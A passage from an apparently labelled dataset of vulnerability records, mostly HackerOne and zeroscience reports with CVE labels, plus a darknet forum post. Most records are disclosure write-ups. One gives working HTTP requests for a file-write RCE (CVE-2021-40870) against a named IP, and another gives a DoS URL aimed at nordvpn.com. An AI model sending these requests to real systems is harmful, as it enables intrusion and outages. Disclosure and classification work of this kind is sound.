protocols, from extremely popular ones like http, ssh,  smtp and imap to the more obscure airdroid, gopher-proxy, and  enemyterritory. Highlights:  http://seclists.org/nmap-dev/2013/q3/80. [David Fifield]o Integrated your latest IPv6 OS submissions and corrections. We're still  low on IPv6 fingerprints, so please scan any IPv6 systems you own or  administer and submit them to http://nmap.org/submit/.  Both new  fingerprints (if Nmap doesn't find a good match) and corrections (if Nmap  guesses wrong) are useful. [David Fifield]o [Nsock] Added initial proxy support to Nsock. Nmap version detection  and NSE can now establish TCP connections through chains of one or  more CONNECT or SOCKS4 proxies. Use the Nmap --proxies option with a  chain of one or more proxies as the argument (example:  http://localhost:8080,socks4://someproxy.example.com). Note that  only version detection and NSE are supported so far (no port  scanning or host discovery), and there are other limitations  described in the man page. [Henri Doreau]o [NSE] Added 14 NSE scripts from 6 authors, bringing the total up to 446.  They are all listed at http://nmap.org/nsedoc/, and the summaries are  below (authors are listed in brackets):  + hostmap-ip2hosts finds hostnames that resolve to the target's IP address    by querying the online database at http://www.ip2hosts.com (uses Bing  �� search results) [Paulino Calderon]  + http-adobe-coldfusion-apsa1301 attempts to exploit an authentication    bypass vulnerability in Adobe Coldfusion servers (APSA13-01:    http://www.adobe.com/support/security/advisories/apsa13-01.html) to    retrieve a valid administrator's session cookie. [Paulino Calderon]  + http-coldfusion-subzero attempts to retrieve version, absolute path of    administration panel and the file 'password.properties' from vulnerable    installations of ColdFusion 9 and 10. [Paulino Calderon]  + http-comments-displayer extracts and outputs HTML and JavaScript    comments from HTTP responses. [George Chatzisofroniou]  + http-fileupload-exploiter exploits insecure file upload forms in web    applications", "source": "gayanku", "timestamp": "2013-08-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "256cb93bbf4c4d1e2203", "text": "[Memory Corruption - Generic] CVE-2016-1924 OpenJPEG opj_tgt_reset Out-of-Bounds Read Vulnerability\n\n# CVE-2016-1924 OpenJPEG opj_tgt_reset Out-of-Bounds Read Vulnerability\n\n## 1. About OpenJPEG\nOpenJPEG is an open-source JPEG 2000 codec written in C language. It's widely used in lots of Linux OSes such as Ubuntu, RedHat, Debian, Fedora, and so on. The official repository of the OpenJPEG project is available at [GitHub](https://github.com/uclouvain/openjpeg).\n\n## 2. Credit\nThis vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.\n\n## 3. Testing Environments\n+ **OS**: Ubuntu\n+ **OpenJPEG**: [44a499f](https://github.com/uclouvain/openjpeg/archive/44a499f2acf10b55172d07abf387e5a579a585f7.zip) (Master version before May/6/2016)\n+ **Compiler**: Clang\n+ **CFLAGS**: ``-g -O0 -fsanitize=address``\n\n## 4. Reproduce Steps\nPlease copy file ``poc.j2k`` to directory ``openjpeg/bin`` before executing ``opj_decompress``.\n```\nwget https://github.com/uclouvain/openjpeg/archive/44a499f2acf10b55172d07abf387e5a579a585f7.zip\nunzip -q 44a499f2acf10b55172d07abf387e5a579a585f7.zip\nmv openjpeg-44a499f2acf10b55172d07abf387e5a579a585f7 openjpeg\ncd openjpeg\nexport CC='/usr/bin/clang -g -O0 -fsanitize=address'\ncmake .\nmake\n\ncd bin\n./opj_decompress -o image.pgm -i poc.j2k\n```\n\n## 5. Vulnerability Details\n\nAddressSanitizer output the following exception information.\n\n```\n==118102==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff8002 \n(pc 0x7fed0283b093 bp 0x7ffed1ced650 sp 0x7ffed1ced5e0 T0)\n #0 0x7fed0283b092 in opj_tgt_reset openjpeg/src/lib/openjp2/tgt.c:241:34\n #1 0x7fed0281cc26 in opj_t2_read_packet_header openjpeg/src/lib/openjp2/t2.c:874:33\n #2 0x7fed0281bb4e in opj_t2_decode_packet openjpeg/src/lib/openjp2/t2.c:536:15\n #3 0x7fed0281b0c5 in opj_t2_decode_packets openjpeg/src/lib/openjp2/t2.c:422:39\n #4 0x7fed028347df in opj_tcd_t2_decode openjpeg/src/lib/openjp2/tcd.c:1546:15\n #5 0x7fed02834512 in opj_tcd_decode_tile openjpeg/src/lib/openjp2/tcd.c:1285:15\n #6 0x7fed02782cfb in opj_j2k_decode_tile openjpeg/src/lib/openjp2/j2k.c:8134:15\n #7 0x7fed027b09d4 in opj_j2k_decode_tiles openjpeg/src/lib/openjp2/j2k.c:9757:23\n #8 0x7fed027797ed in opj_j2k_exec openjpeg/src/lib/openjp2/j2k.c:7350:41\n #9 0x7fed0278c8be in opj_j2k_decode openjpeg/src/lib/openjp2/j2k.c:9955:15\n #10 0x7fed027e4806 in opj_decode openjpeg/src/lib/openjp2/openjpeg.c:412:10\n #11 0x4f166f in main openjpeg/src/bin/jp2/opj_decompress.c:1332:10\n #12 0x7fed00f4182f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291\n #13 0x41a978 in _start (openjpeg/bin/opj_decompress+0x41a978)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV openjpeg/src/lib/openjp2/tgt.c:241:34 in opj_tgt_reset\n==118102==ABORTING\n```\n\n## 6. Timeline\n+ 2016.05.05 - Found\n+ 2016.05.06 - Reported to OpenJPEG via [Issue775](https://github.com/uclouvain/openjpeg/issues/775)\n+ 2016.05.09 - Fixed\n\n## 7. Remarks\nThis issue was found by limingxing on Jan/18/2016 and disclosed the details at [oss-sec/2016/q1/128](http://seclists.org/oss-sec/2016/q1/128), and CVE-2016-1924 was assigned for this issue.\n\nHowever, limingxing did not report this issue to OpenJPEG's official developer so it didn't get fixed. On May/5/2016, I found it independently and reported it OpenJPEG's official developer. OpenJPEG fixed it on May/9/2016 after I reported it.\n\nThe following message was copied from [oss-sec/2016/q2/333](http://seclists.org/oss-sec/2016/q2/333).\n> From: WinsonLiu \n>\n>> From: Moritz Muehlenhoff \n>>\n>>> From: WinsonLiu \n>>>\n>>> Hi,\n>>> Some security issues of OpenJPEG have been fixed. Please consider assigning CVE numbers to them.\n>>> 2. Issue 775\n>>> OpenJPEG Out-of-Bounds Access in function opj_tgt_reset of tgt.c\n>>> Fixed via https://github.com/uclouvain/openjpeg/commit/1a8318f6c24623189ecb65e049267c6f2e005c0e\n>>\n>>Is that a different issue than CVE-2016-1924?\n>\n>You are right. Issue 775 was a duplicate of CVE-2016-1924.\n>\n>I didn't not", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4f6d4adc10675af71d9a", "text": "Croogo 2.0.0 Arbitrary PHP Code Execution Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-10-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "01602a377d54361f6d60", "text": "Microsoft Internet Explorer 11 Tree::Notify_InvalidateDisplay Null Pointer Dereference\n\nSeverity: low", "source": "zeroscience", "timestamp": "2018-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "233b741f2beeed9002c8", "text": "Lunar CMS 3.3 CSRF And Stored XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-06-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2014ec9a847225bee8b0", "text": "TeraCopy 2.3 (default.mo) Language File Integer Overflow Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-09-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "55c03a156a8c36bba39d", "text": "[Memory Corruption - Generic] Linux kernel: CVE-2017-1000112: a memory corruption due to UFO to non-UFO path switch\n\nHi!\n\n[CVE-2017-1000112](https://nvd.nist.gov/vuln/detail/CVE-2017-1000112) is a vulnerability I found in the Linux kernel caused by a UFO to non-UFO path switch for UFO packets. It can be exploited to gain kernel code execution from an unprivileged process.\n\nThis vulnerability was reported to security@kernel.org and linux-distros@ following the coordinated disclosure process and then [announced](https://www.openwall.com/lists/oss-security/2017/08/13/1) on oss-security@. The fix was [committed](https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa) on Aug 10, 2017.\n\nI wrote a proof-of-concept exploit for a range of Ubuntu kernels Ubuntu kernel which gains root from an unprivileged user, which can be found [here](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112). More details about the vulnerability and exploitation can be found in the oss-security [announcement](https://www.openwall.com/lists/oss-security/2017/08/13/1).\n\nThe reason I'm reporting this now is that a [similar bug](https://hackerone.com/reports/347282) that I've reported a while ago has recently been triaged and addressed, so it seems that LPE Linux kernel bugs are within the scope of this IBB program.\n\nThanks!\n\n## Impact\n\nThis vulnerability allows a local attacker to elevate privileges to root on a machine with vulnerable Linux kernel version.", "source": "hackerone", "timestamp": "2019-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c28d87bb35a872445fa8", "text": "[Improper Authentication - Generic] User enumeration via error message\n\nHi guys,\n\nWell, the issue is in authentication process, an attacker able to enumerate registered users on the site via brute forcing the login page, in case when ***user is not exist***, system returns the following error message: \"User not exist\", in case when ***user exist***, but incorrect password: \"Password does not match\".\n\nMitigation: handle the above situation correctly, e.g.: \"Login failed. Invalid user ID or password\". This doesn't inform the attacker on which credential is wrong and make enumeration more difficult\n\nThanks", "source": "hackerone", "timestamp": "2016-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fdf873f4e14638a3577c", "text": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-12-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "025808c736f1f076b425", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2020-3580\n\nHello Team,\nDuring my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.\n\nVulnerable URL: https://█████/+CSCOE+/saml/sp/acs?tgname=a\n\n## Impact\n\nAttackers can steal cookies and even takeover accounts and perform different malicious activities.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nSave Following code as xss.html and open in any browser:\n\n \n \n
\n \n \n \n
\n \n \n\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2f20ca81ba8676028375", "text": "[Heap Overflow] OOB write in MDC2_Update() (CVE-2016-6303)\n\nAn overflow can occur in MDC2_Update() either if called directly or\nthrough the EVP_DigestUpdate() function using MDC2. If an attacker\nis able to supply very large amounts of input data after a previous\ncall to EVP_EncryptUpdate() with a partial block then a length check\ncan overflow resulting in a heap corruption.\n\nThe amount of data needed is comparable to SIZE_MAX which is impractical\non most platforms.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0f1e334463eb5ccf7c47", "text": "[Command Injection - Generic] Roundcube virtualmin privilege escalation (CVE-2017-8114)\n\n# Description\n*Password* plugin in its virtualmin driver allows to an attacker, that has a valid username/password to login in his web panel, to execute malicious inputs. This could allow to an attacker to reset victim's password and in some scenarios getting a system shell.\n\n# CVE\nCVE-2017-8114\n\n# Details\n- https://roundcube.net/news/2017/04/28/security-updates-1.2.5-1.1.9-and-1.0.11\n- ████\n- https://nvd.nist.gov/vuln/detail/CVE-2017-8114", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d42795a200698b130846", "text": "[Violation of Secure Design Principles] Broken Authentication and Session Management Flaw After Change Password and Logout\n\n####Summary\nUsually it's happened that when you change password or sign out from one place (or one browser), automatically someone who is open same account will sign out too from another browser. Basically your session destroyed at server side...\nBut in your site, it still alive..\n\n####PoC\nDetail About Vulnerability and PoC on Attachment File\n\nNoted: You can try these vulnerability in another site. (e.g cryptfolio.com, facebook.com, etc). It's not alive when another has changed password and sign out\n\nFor More Information about This Vulnerability You can check OWASP Guide\n\n[https://www.owasp.org/index.php?title=Broken_Authentication_and_Session_Management&setlang=en](https://www.owasp.org/index.php?title=Broken_Authentication_and_Session_Management&setlang=en)\n\n####Attachment Video\n[https://gofile.io/?c=Vt4m42](https://gofile.io/?c=Vt4m42)\n\n## Impact\n\nAccount profile still can be edited even in another browser the account has signedout and changed password", "source": "hackerone", "timestamp": "2020-11-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f3f729ae29e69a699858", "text": "[Uncontrolled Resource Consumption] libtiff 4.0.6 heap bufer overflow / out of bounds read (CVE-2016-9273)\n\nheap buffer overflow affecting libtiff 4.0.6 and possibly earlier. This library is baked into web browsers used by millions and also devices like the PlayStation Portable and the iPhone.\n\nhttp://bugzilla.maptools.org/show_bug.cgi?id=2587\n\nReported to vendor on 7 November 2016:\n```\n==18669==ERROR: AddressSanitizer: heap-buffer-overflow on address\n0x60200000ef78 at pc 0x407549 bp 0x7ffeeb10bc00 sp 0x7ffeeb10bbf8\nREAD of size 8 at 0x60200000ef78 thread T0\n #0 0x407548 in cpStrips /root/libtiff/tools/tiffsplit.c:246\n #1 0x407548 in tiffcp /root/libtiff/tools/tiffsplit.c:227\n #2 0x407548 in main /root/libtiff/tools/tiffsplit.c:89\n #3 0x7face2437b44 in __libc_start_main\n(/lib/x86_64-linux-gnu/libc.so.6+0x21b44)\n #4 0x40836c (/root/libtiff/tools/tiffsplit+0x40836c)\n\n0x60200000ef78 is located 0 bytes to the right of 8-byte region\n[0x60200000ef70,0x60200000ef78)\nallocated by thread T0 here:\n #0 0x7face2b169f6 in __interceptor_realloc\n(/usr/lib/x86_64-linux-gnu/libasan.so.1+0x549f6)\n #1 0x4a9ea0 in _TIFFCheckRealloc /root/libtiff/libtiff/tif_aux.c:73\n #2 0x4a9ea0 in _TIFFCheckMalloc /root/libtiff/libtiff/tif_aux.c:88\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/root/libtiff/tools/tiffsplit.c:246 cpStrips\n```\n\nFixed by vendor on 10 November 2016:\n```\n>> 2016-11-10 Even Rouault \n>> * libtiff/tif_strip.c: make TIFFNumberOfStrips() return the\n>> td->td_nstrips value when it is non-zero, instead of recomputing it.\n>> This is needed in TIFF_STRIPCHOP mode where td_nstrips is modified.\n>> Fixes a read outside of array in tiffsplit\n>> (or other utilities using TIFFNumberOfStrips()).\n>> \n>> /cvs/maptools/cvsroot/libtiff/ChangeLog,v <-- ChangeLog\n>> new revision: 1.1151; previous revision: 1.1150\n>> /cvs/maptools/cvsroot/libtiff/libtiff/tif_strip.c,v <-- libtiff/tif_strip.c\n>> new revision: 1.37; previous revision: 1.36\n\nhttps://github.com/vadz/libtiff/commit/d651abc097d91fac57f33b5f9447d0a9183f58e7\n```\n\nCVE requested via oss-security on 9 November 2016:\nhttp://www.openwall.com/lists/oss-security/2016/11/09/20\n\nCVE assigned 11 November 2016:\nhttp://www.openwall.com/lists/oss-security/2016/11/11/6", "source": "hackerone", "timestamp": "2019-10-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f74ffb45fd757f12211e", "text": "[Uncontrolled Resource Consumption] Denial of service in account statistics endpoint\n\nHi Mapbox,\nI know that your guidelines explicitly say that Denial of Service coinditions are not in scope and should not be attempted, but I maintained the testing between adequate parameters so as to not to create excessive load on your backend. I also sent an email to security@mapbox.com prior to submitting this report and Alex Ulsh and he or she (Sorry, can't know which since Alex is a unisex name hahaha) told me that this could be an exception.\n\nThe vulnerability relies on the https://www.mapbox.com/core/statistics/v1/apokh11/account endpoint, it seems that by modifying the \"period\" parameter to an arbitrary value, the amount of data returned increases probably without any limit, furthermore, if the interval is set to \"hour\" instead of \"day\", it is possible to increase the amount of data returned even further. To avoid affecting the availability of the server, I limited my testing to a small period, which still returned around 350 kb of data.\n\nThe amount of data can also be increased if the end date of the period requested is set to a point in the future.\n\nTo reproduce:\n1) Create an account or login to an existing account.\n2) Access this URL: https://www.mapbox.com/core/statistics/v1/apokh11/account?interval=day&period=1461766083142%2C1462370883143&metrics=countries%2Cbrowsers%2Chosts%2Cmaps%2Cversion&services=mapview%2Ctile%2Cstatic%2Cgeocode%2Cpermanentgeocode%2Cdirections%2Csurface&_=1462370883155\n3) Observe that the amount of data returned is around 2.5 Kb.\n4) Modify the \"interval\" parameter to \"hour\" and the \"Period\" parameter to, for example \"1451766083142,1462370883143\" \n5) Observe that the amount of data returned increased to 372 Kb. \n\nNot tested: If the period is long enough, the amount of time taken to answer the request will probably be increased as well.\n\nImplication: A malicious individual could leverage this feature by asking for extended periods to cause high loads on the backend, which in turn could affect the availiability of the service.\n\nRecommendation: Limit the period length to an amount established by the business logic, so as to mitigate the possibility of using this functionality with malicious intent.\n\nLet me know if you require any additional tests and/or information.\nKind Regards,\nApok.", "source": "hackerone", "timestamp": "2016-05-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f4c56551c46412c2ed70", "text": "Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-02-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3d13678c3a98b571d342", "text": "[Unknown] DoS of https://nordvpn.com/ via CVE-2018-6389 exploitation\n\nThere is possibility in /wp-admin/load-scripts.php script to generate large (~3Mb) amount of data via simple non-authenticated request to server.\nThe vulnerability is registered as https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389\n\nDetails\nDetailed attack scenario is described for example here: https://baraktawily.blogspot.ru/2018/02/how-to-dos-29-of-world-wide-websites.html\nI have an Apache JMeter script which is able to simulate necessary loading for your site (can be provided to you if necessary).\n\nReady for call URL is following\nhttps://nordvpn.com/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n{F651471}\n\nAs no rate-limiting is setup for this URL - then DoS comes real.\n\nVariants to fix issue\nchange default \"admin\" directory name (Security through obscurity)\nor apply some password protection to /wp-admin/ url\nor apply some rate-limiting (but DDoS is still possible)\n\nOther possible Fix\nhttps://github.com/Jetserver/CVE-2018-6389-FIX\n\n## Impact\n\nDoS of the site and application server", "source": "hackerone", "timestamp": "2020-01-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1521df9a5ba647d5568a", "text": "Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "590ef77471e37253ea87", "text": "[Silk Road 1] scam alert: SAM GIANCANA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\nSo I've been really impressed with this idea of Festivalia's and think it's great for the community.  I personally haven't been jacked but I try to follow a strict set of rules and  a proactive about the situation.  I have FE'd but only when I have felt like it and never when I've been asked to by a vendor.  So the reason for this post is that I've been reviewing a few of the vendors on Festys hit list and one in particular has really got up under my skin!  SAM GIANCANA!!!  I was checking the SR front page and saw someone selling a Key for 25large.  This kinda got my attention because I've always wanted one so I thought I would check it out!  (in my dreams!!)  Anyways I click on it and low and behold guess who it was....SAM GIANCANA!  So a little back story I was on the threads a few days ago and read that someone in Norway got their door kicked in by the POPO!  and the item was from SAM GIANCANA!!!  Alright I'll get to it........I was checking the Keys out and decided to follow up on the scammer alert and guess what I found?  If you look at this guys feedback and look closely you should be able to see a pattern, Ive never noticed this before so it kinda stood out like a sore thumb!  Every other feedback post is FE, FE, FE for trusted seller, FE for 20% more, FE for 20% more, FE SG is the shit, FE, FE, FE, FE, never arrived, FE, FE, FE, never arrived, FE, FE, FE, FE, never arrived!!!so this goes on and on for like 6 pages, every 4-5 posts is someone saying that their shit never arrived and that SG is full of shit.  These repetitive posts look very SUSPECT!!  I encourage everyone to go check this guy out and get his ass BANNED ASAP!!  People like this are the ones that need to be tortured!!  Pussy ass HO!!  This guy is probably Sammy the BULL the SNITCH!!  I wouldn't call someone out on here if it wasn't so damn suspicious and obvious that he is just here to jack people.", "source": "gayanku", "timestamp": "2013-05-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4dd4152b2075eb6572da", "text": "[Missing Encryption of Sensitive Data] ChaCha20-Poly1305 with long nonces\n\nThis report relates to CVE-2019-1543, https://www.openssl.org/news/secadv/20190306.txt, which I reported to the OpenSSL maintainers a few days ago.\n\nOpenSSL accepts nonces for the AEAD cipher ChaCha20-Poly1305 of up to 16-bytes. This support is advertised in the OpenSSL documentation and via the CHACHA_CTR_SIZE (16) constant.\n\nHowever, the specification for ChaCha20-Poly1305 supports only up to 12-bytes.\n\nIf a user passes a 16-byte nonce to OpenSSL, OpenSSL will discard the first 4-bytes of the nonce.\n\n## Impact\n\nThe maintainers classified the severity of this as LOW since it only affects user applications of OpenSSL, while at the same time recognizing the severity of this for these user applications as MEDIUM (or \"serious\" and \"catastrophic\" in the words of two maintainers).\n\nThis breaks the guarantees provided by OpenSSL to user applications in two ways:\n\n1. These first 4-bytes are not authenticated, breaking the integrity guarantees of the AEAD cipher, and allowing an attacker to tamper with 4-bytes of the AEAD message. This in itself is serious for applications which rely on AEAD ciphers to detect message tampering and/or message corruption.\n\n2. This introduces the likelihood of nonce-reuse, since the most significant 4-bytes of nonce entropy are discarded by OpenSSL, for example, where a user provides a 32-bit nonce counter in a statically allocated 16-byte buffer to OpenSSL. Nonce-reuse is catastrophic for an AEAD cipher such as ChaCha20-Poly1305, as it would allow an attacker to completely decrypt all sensitive information.", "source": "hackerone", "timestamp": "2019-09-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a305023894b3200c201d", "text": "[Cryptographic Issues - Generic] CVE-2021-22947: STARTTLS protocol injection via MITM\n\n## Summary:\nA man-in-the-middle can inject cleartext forged responses to future encrypted commands by pipelining them to the STARTTLS response.\n\n## Steps To Reproduce:\nUse the attached test case within the curl test system. It is based on IMAP FETCH with explicit TLS. Upon test failure, the downloaded file contains \"You've been hacked!\" rather than the requested mail.\n\n## Impact\n\nMailbox content forgery (IMAP, POP3).\nSent mail content forgery (SMTP).", "source": "hackerone", "timestamp": "2021-09-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cb4741ff793131d33baf", "text": "EdrawSoft Office Viewer Component ActiveX 5.6 (officeviewermme.ocx) BoF PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-01-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "264025b4001e9ee40c5b", "text": "[Code Injection] CVE-2021-40870 on [52.204.160.31]\n\nAn issue was discovered in Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.\n\nThe IP has a SSL certificate pointing to ElasticSearch. \n``curl -kv https://52.204.160.31``\n\nOutput\n\n```\n Server certificate:\n* subject: C=US; ST=California; L=Mountain View; O=Elasticsearch, Inc.; CN=*.elasticit.co\n```\n\n\n## Steps To Reproduce\n\nFirst, run this request:\n```\nPOST /v1/backend1 HTTP/1.1\nHost: 52.204.160.31\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\nConnection: close\nContent-Length: 136\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\n\nCID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/1yv4QQmkj4h4OdmmyT11tkiGf5M.php&data=RCE\n\n```\nThe retrieve the content from file ``1yv4QQmkj4h4OdmmyT11tkiGf5M.php``\n\n```\nGET /v1/1yv4QQmkj4h4OdmmyT11tkiGf5M.php HTTP/1.1\nHost: 52.204.160.31\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\n```\nWhich is basically the output of the phpinfo function:\n\nResponse (truncated): \n```\ntr class=\"h\">VariableValue\nSCRIPT_URL /v1/1yv4QQmkj4h4OdmmyT11tkiGf5M.php \nSCRIPT_URI https://52.204.160.31:8443/v1/1yv4QQmkj4h4OdmmyT11tkiGf5M.php \nHTTPS on \nSSL_SERVER_S_DN_C US \nSSL_SERVER_S_DN_ST California \nSSL_SERVER_S_DN_L Mountain View \nSSL_SERVER_S_DN_O Elasticsearch, Inc. \nSSL_SERVER_S_DN_CN *.elasticit.co \nSSL_SERVER_I_DN_C US \nSSL_SERVER_I_DN_O DigiCert Inc \nSSL_SERVER_I_DN_CN DigiCert SHA2 Secure Server CA \nSSL_SERVER_SAN_DNS_0 *.elasticit.co \nSSL_SERVER_SAN_DNS_1 elasticit.co \nSSL_VERSION_INTERFACE mod_ssl/2.4.39 \nSSL_VERSION_LIBRARY OpenSSL/1.1.1b \nSSL_PROTOCOL TLSv1.2 \nSSL_SECURE_RENEG true \nSSL_COMPRESS_METHOD NULL \nSSL_CIPHER ECDHE-RSA-AES128-GCM-SHA256 \nSSL_CIPHER_EXPORT false \nSSL_CIPHER_USEKEYSIZE 128 \nSSL_CIPHER_ALGKEYSIZE 128 \nSSL_CLIENT_VERIFY NONE \nSSL_SERVER_M_VERSION 3 \nSSL_SERVER_M_SERIAL 093CE89EF93EE5F18D1E07099ACC5AF9 \nSSL_SERVER_V_START Mar 20 00:00:00 2020 GMT \nSSL_SERVER_V_END Mar 25 12:00:00 2022 GMT \nSSL_SERVER_S_DN CN=*.elasticit.co,O=Elasticsearch\\, Inc.,L=Mountain View,ST=California,C=US \nSSL_SERVER_I_DN CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US \nSSL_SERVER_A_KEY rsaEncryption \nSSL_SERVER_A_SIG sha256WithRSAEncryption \nSSL", "source": "hackerone", "timestamp": "2021-10-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5618af01876dcfe402d4", "text": "[Information Disclosure] Data race conditions reported by helgrind when performing parallel DNS queries in libcurl\n\nWhile running binary built from curl git repo file \"docs/examples/10-at-a-time.c\" under valgrind specifically with the helgrind tool, reports race condition in getaddrinfo() calls. Using the latest curl/libcurl from github repo.\n\nFrom the valgrind documentation \"Helgrind is a Valgrind tool for detecting synchronisation errors in C, C++ and Fortran programs that use the POSIX pthreads threading primitives.\"\n\n\nCommand used for testing:\n\nvalgrind --tool=helgrind --log-file=helgrind_%p.log ./10-at-a-time\n\n\nSee helgrind log files attached to this report.\n\n\nHere is one example of the helgrind reports:\nNote: libcurl was rebuilt in debug to provide complete stack traces. Problem occurs in both debug and non-debug builds.\n\n==43481== Possible data race during read of size 1 at 0x8325DE8 by thread #7\n==43481== Locks held: none\n==43481== at 0x8325DE8: ns_name_pton (ns_name.c:160)\n==43481== by 0x831D8DF: __res_hnok (res_comp.c:202)\n==43481== by 0x833906B: check_name (dns-host.c:284)\n==43481== by 0x833906B: _nss_dns_gethostbyname4_r (dns-host.c:335)\n==43481== by 0x4A5B58E: gaih_inet.constprop.0 (getaddrinfo.c:765)\n==43481== by 0x4A5D0D8: getaddrinfo (getaddrinfo.c:2256)\n==43481== by 0x486D6AB: curl_dbg_getaddrinfo (curl_addrinfo.c:554)\n==43481== by 